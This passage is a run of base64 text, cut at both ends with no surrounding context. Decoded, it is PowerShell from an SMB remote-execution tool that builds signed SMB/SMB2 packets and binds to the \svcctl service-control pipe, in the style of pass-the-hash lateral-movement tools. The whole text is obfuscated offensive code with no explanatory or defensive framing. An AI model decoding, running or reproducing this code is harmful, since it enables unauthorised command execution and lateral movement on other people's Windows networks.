ydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduID0gJHNlc3Npb25fa2V5ICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRNRDUuQ29tcHV0ZUhhc2goJFNNQl9zaWduKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJFNNQl9zaWduYXR1cmVbMC4uN10NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnQ2xvc2VSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MDQgMHgxOCAweDA3LDB4YzggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25pbmdfc2VxdWVuY2UNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CQ2xvc2VSZXF1ZXN0IDB4MDAsMHg0MA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRTTUJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbiA9ICRzZXNzaW9uX2tleSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1RyZWVEaXNjb25uZWN0Jw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ1RyZWVEaXNjb25uZWN0Jw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4NzEgMHgxOCAweDA3LDB4YzggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25pbmdfc2VxdWVuY2UNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9oZWFkZXIgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CVHJlZURpc2Nvbm5lY3RSZXF1ZXN0DQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CX2hlYWRlci5MZW5ndGggJFNNQl9kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduID0gJHNlc3Npb25fa2V5ICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkTUQ1LkNvbXB1dGVIYXNoKCRTTUJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRTTUJfc2lnbmF0dXJlWzAuLjddDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnTG9nb2ZmJw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ0xvZ29mZicNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyID0gR2V0LVBhY2tldFNNQkhlYWRlciAweDc0IDB4MTggMHgwNywweGM4IDB4MzQsMHhmZSAkcHJvY2Vzc19JRF9ieXRlcyAkU01CX3VzZXJfSUQNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX0ZsYWdzMiJdID0gMHgwNSwweDQ4DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nX2NvdW50ZXIgPSAkU01CX3NpZ25pbmdfY291bnRlciArIDIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kU01CX3NpZ25pbmdfc2VxdWVuY2UgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRTTUJfc2lnbmluZ19jb3VudGVyKSArIDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmluZ19zZXF1ZW5jZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlciAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfZGF0YSA9IEdldC1QYWNrZXRTTUJMb2dvZmZBbmRYUmVxdWVzdA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRTTUJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbiA9ICRzZXNzaW9uX2tleSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ0V4aXQnDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIGlmKCRTTUJFeGVjX2ZhaWxlZCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIEJSRUFLIFNNQl9leGVjdXRlX2xvb3ANCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIH0NCg0KICAgICAgICB9ICANCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICANCiAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1RyZWVDb25uZWN0Jw0KDQogICAgICAgICAgICA6U01CX2V4ZWN1dGVfbG9vcCB3aGlsZSAoJFNNQl9jbGllbnRfc3RhZ2UgLW5lICdleGl0JykNCiAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgIHN3aXRjaCAoJFNNQl9jbGllbnRfc3RhZ2UpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdUcmVlQ29ubmVjdCcNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCArPSAxDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwMywweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0ZsYWdzIl0gPSAweDA4LDB4MDAsMHgwMCwweDAwICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9kYXRhID0gR2V0LVBhY2tldFNNQjJUcmVlQ29ubmVjdFJlcXVlc3QgJFNNQl9wYXRoX2J5dGVzDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduID0gJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ0NyZWF0ZVJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAnQ3JlYXRlUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfdHJlZV9JRCA9IDB4MDEsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmFtZWRfcGlwZV9ieXRlcyA9IDB4NzMsMHgwMCwweDc2LDB4MDAsMHg2MywweDAwLDB4NjMsMHgwMCwweDc0LDB4MDAsMHg2YywweDAwICMgXHN2Y2N0bA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCArPSAxDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwNSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMkNyZWF0ZVJlcXVlc3RGaWxlICRTTUJfbmFtZWRfcGlwZV9ieXRlcw0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGFbIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9TaGFyZV9BY2Nlc3MiXSA9IDB4MDcsMHgwMCwweDAwLDB4MDAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFNNQjJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JQQ0JpbmQnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ1JQQ0JpbmQnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmFtZWRfcGlwZV9ieXRlcyA9IDB4NzMsMHgwMCwweDc2LDB4MDAsMHg2MywweDAwLDB4NjMsMHgwMCwweDc0LDB4MDAsMHg2YywweDAwICMgXHN2Y2N0bA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9maWxlX0lEID0gJFNNQl9jbGllbnRfcmVjZWl2ZVsxMzIuLjE0N10NCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlciA9IEdldC1QYWNrZXRTTUIySGVhZGVyIDB4MDksMHgwMCAkU01CMl9tZXNzYWdlX0lEICRTTUIyX3RyZWVfSUQgJFNNQl9zZXNzaW9uX0lEDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0NyZWRpdFJlcXVlc3QiXSA9IDB4N2YsMHgwMA0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTU